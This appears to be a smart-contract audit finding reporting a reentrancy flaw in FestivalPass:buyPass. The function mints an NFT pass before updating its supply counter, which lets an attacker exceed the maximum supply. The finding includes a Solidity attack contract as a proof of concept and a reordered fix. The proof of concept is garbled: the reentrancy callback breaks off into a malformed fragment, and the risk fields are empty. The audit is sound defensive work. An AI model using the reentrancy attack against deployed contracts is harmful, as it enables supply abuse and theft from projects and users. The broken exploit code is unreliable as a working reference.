Function FestivalPass:buyPass
Lacks Defense Against Reentrancy Attacks, Leading to Exceeding the Maximum NFT Pass Supply
Description
-
Under normal circumstances, the system should control the supply of tokens or resources to ensure that it does not exceed a predefined maximum limit. This helps maintain system stability, security, and predictable behavior.
-
The function FestivalPass:buyPass
does not follow the Checks-Effects-Interactions pattern. If a user uses a malicious contract as their account and includes reentrancy logic, they can bypass the maximum supply limit.
function buyPass(uint256 collectionId) external payable {
require(collectionId == GENERAL_PASS || collectionId == VIP_PASS || collectionId == BACKSTAGE_PASS, "Invalid pass ID");
require(msg.value == passPrice[collectionId], "Incorrect payment amount");
require(passSupply[collectionId] < passMaxSupply[collectionId], "Max supply reached");
@> _mint(msg.sender, collectionId, 1, "");
++passSupply[collectionId];
uint256 bonus = (collectionId == VIP_PASS) ? 5e18 : (collectionId == BACKSTAGE_PASS) ? 15e18 : 0;
if (bonus > 0) {
BeatToken(beatToken).mint(msg.sender, bonus);
}
emit PassPurchased(msg.sender, collectionId);
}
Risk
Likelihood:
Impact:
Proof of Concept
pragma solidity 0.8.25;
import "@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol";
import "../src/FestivalPass.sol";
import "./FestivalPass.t.sol";
import {console} from "forge-std/Test.sol";
contract AttackBuyPass{
address immutable onlyOnwer;
FestivalPassTest immutable festivalPassTest;
FestivalPass immutable festivalPass;
uint256 immutable collectionId;
uint256 immutable configPassPrice;
uint256 immutable configPassMaxSupply;
uint256 hackMintCount = 0;
constructor(FestivalPassTest _festivalPassTest, FestivalPass _festivalPass, uint256 _collectionId, uint256 _configPassPrice, uint256 _configPassMaxSupply) payable {
onlyOnwer = msg.sender;
festivalPassTest = _festivalPassTest;
festivalPass = _festivalPass;
collectionId = _collectionId;
configPassPrice = _configPassPrice;
configPassMaxSupply = _configPassMaxSupply;
hackMintCount = 1;
}
receive() external payable {}
fallback() external payable {}
function DoAttackBuyPass() public {
require(msg.sender == onlyOnwer, "AttackBuyPass: msg.sender != onlyOnwer");
festivalPass.buyPass{value: configPassPrice}(collectionId);
}
function onERC1155Received(
address operator,
address from,
uint256 id,
uint256 value,
bytes calldata data
) external returns (bytes4){
if (hackMintCount festivalPass.passMaxSupply(targetPassId));
}
}
```
Recommended Mitigation
function buyPass(uint256 collectionId) external payable {
// Must be valid pass ID (1 or 2 or 3)
require(collectionId == GENERAL_PASS || collectionId == VIP_PASS || collectionId == BACKSTAGE_PASS, "Invalid pass ID");
// Check payment and supply
require(msg.value == passPrice[collectionId], "Incorrect payment amount");
require(passSupply[collectionId] < passMaxSupply[collectionId], "Max supply reached");
// Mint 1 pass to buyer
- _mint(msg.sender, collectionId, 1, "");
++passSupply[collectionId];
+ emit PassPurchased(msg.sender, collectionId);
+ _mint(msg.sender, collectionId, 1, "");
// VIP gets 5 BEAT welcome bonus, BACKSTAGE gets 15 BEAT welcome bonus
uint256 bonus = (collectionId == VIP_PASS) ? 5e18 : (collectionId == BACKSTAGE_PASS) ? 15e18 : 0;
if (bonus > 0) {
// Mint BEAT tokens to buyer
BeatToken(beatToken).mint(msg.sender, bonus);
}
- emit PassPurchased(msg.sender, collectionId);
}